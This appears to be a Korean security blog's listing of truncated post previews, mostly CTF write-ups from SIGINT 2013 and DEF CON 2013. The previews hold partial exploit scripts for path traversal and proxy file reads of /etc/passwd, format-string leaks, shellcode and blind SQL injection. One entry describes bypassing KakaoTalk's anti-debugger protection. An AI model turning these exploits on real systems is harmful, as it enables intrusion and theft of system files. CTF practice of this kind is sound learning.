본문 바로가기

전체

[SIGINT 2013] mail exploit import smtplib import sys sender = 'hans@ck.er' receivers = ['test@b3.ctf.sigint.ccc.de'] if sys.argv[1] == "tunz": message = """From: ~~~~~~your email address~~~~~~ To: cloud Subject: get passwd This is a test e-mail message. """ else: message = """From: /../../../../../../../etc@asdf.com To: cloud Subject: share passwd ~~~~~~your email address~~~~~~ This is a test e-mail message. """ print mes.. 더보기
[SIGINT 2013] proxy exploit from socket import * import sys s = socket(AF_INET, SOCK_STREAM) s.connect(('188.40.147.125',8080)) #s.connect(('localhost',8080)) s.send("GET file://localhost/etc/passwd HTTP/1.1\r\n\r\n") get=s.recv(65000) print get 더보기
카톡킨상태로 올리디버거 사용하기 카톡이 더미다로 패킹이 되어있어서, 올리디버거를 감지하면 카톡이 꺼진다. 그럴때 사용하는 플러그인 더보기
vmplayer로 ubuntu에 proxy server 설치 우분투에서 # apt-get install squid3# service squid3 start# ufw allow 3128# vi /etc/squid3/squid.conf-> "http_access allow all" 추가 윈도우에서 1. 3128 방화벽 해제2. 우분투로 3128번 포트포워딩(하지만, vmplayer에서는 포트포워딩이 불가능하다. 그러기위해선 vmnetcfg.exe가 필요한데, vmware workstation에서 추출해야한다. vmplayer5에서는 아래의 vmnetcfg.exe를 이용하면 될듯하다.) 압축을 해제한후, vmplayer폴더에 옮겨서 실행한다. 그리고, 해당하는 vmnet을 클릭한후, "NAT Settings"를 눌러서, Port Forwarding의 "Add"를 누르고.. 더보기
[defcon 2013] annyong exploit 대회때 푼건 아니고, 끝나고 연습용으로 품. 64bit, PIE, xinetd 환경. 실제 대회에서는 system offset은 브루트포싱으로 알아낼수있음. from socket import * from struct import * import sys cmd = "ls -al\x00" s = socket(AF_INET,SOCK_STREAM) s.connect(('localhost',5679)) # mov rdi rsi 0x1086 # write 0xfe3 s.send("%265$p\n") get=s.recv(1024) base_addr = int(get[2:],16) - 0x1127 print "base_addr: "+hex(base_addr) s.send("%4$p\n") get=s.recv(1024).. 더보기
Hindering ROP Using In-Place Code Randomization 요즘 보안쪽 논문을 보면, 생각했던것과 많이 달라 이쪽 대학원을 가야하나 말아야하나 망설여지지만, 그중 이 논문은 가장 괜찮았다. Smashing the Gadgets: Hindering Return-Oriented Programming Using In-Place Code Randomization ROP gadget을 없애는 방법을 제시하고있는데, 그중 가장 기억에 남는건 첫번째 방법인 Atomic Instruction Substitution이다. linux계열을 ROP로 공격할땐, 별로 소용이 없을것 같긴 하지만,windows계열에서는 꽤나 도움이 될듯하다. 이 논문에서 예를 든건 cmp al,bl 과 같은것들을 cmp bl,al로 바꿈으로써, ret(C3)를 없앤다는 내용이다.의미상으로는 전혀 다른게.. 더보기
우분투 ssh 로그인 느릴때 $ sudo vi /etc/ssh/sshd_config UseDNS no추가또는 UseDNS yes를 UseDNS no로 변경 그리고 재시작 $ sudo /etc/init.d/ssh restart 더보기
[defcon 2013] gnireenigne, musicman, exploit 파일 헤더의 41~44바이트 부분을 조작함으로써, ReadChar 함수에서 읽는 부분을 조작할 수 있다. 이렇게 오프셋을 100만칸 옮기고, 파일을 다운받는다. 그리고 , IDA로 ReadChar의 소스를 긁어와서 컴파일 한후, 다운받은 파일을 다시 글자로 변환한다. from socket import * from struct import * s = socket(AF_INET,SOCK_STREAM) s.connect(('musicman.shallweplayaga.me',7890)) length=0 f = open('file','wb') while True: get=s.recv(0xffff) f.write(get) length = length + len(get) if length >= 211724: brea.. 더보기
[defcon 2013] \xff\xe4\xcc, linked, exploit 쉘코드 숏코드 만들기 문제 다른팀들은 대부분 tag의 2바이트 정도를 확인하는 식으로 한것 같은데, 난 생각이 안나서, 그냥 tag의 1바이트만 체크하는 식으로 루프를 돌려서 대략 2시간쯤 걸린듯 하다. 00000000 59 pop ecx 00000001 5B pop ebx 00000002 51 push ecx 00000003 8B1B mov ebx,[ebx] 00000005 8B4304 mov eax,[ebx+0x4] 00000008 3C00 cmp al,0x0 0000000A 8D4308 lea eax,[ebx+0x8] 0000000D 75F4 jnz 0x3 0000000F C3 ret from socket import * import time while True: s = socket(AF_INET,.. 더보기
[defcon 2013] 3dub, babysfirst, exploit sqlite injection 문제. import httplib,urllib; # Blind SQL injection ck = "" referer = "" # barking up the wrong tree -- # setting #toget = "(SELECT password from users where name='root')" #toget = "(SELECT name FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)" #toget = "(SELECT count() from keys)" #toget = "(SELECT sql FROM sqlite_master WHERE type='table' LIMIT 1 OFFSET 0)" toget = "(SELEC.. 더보기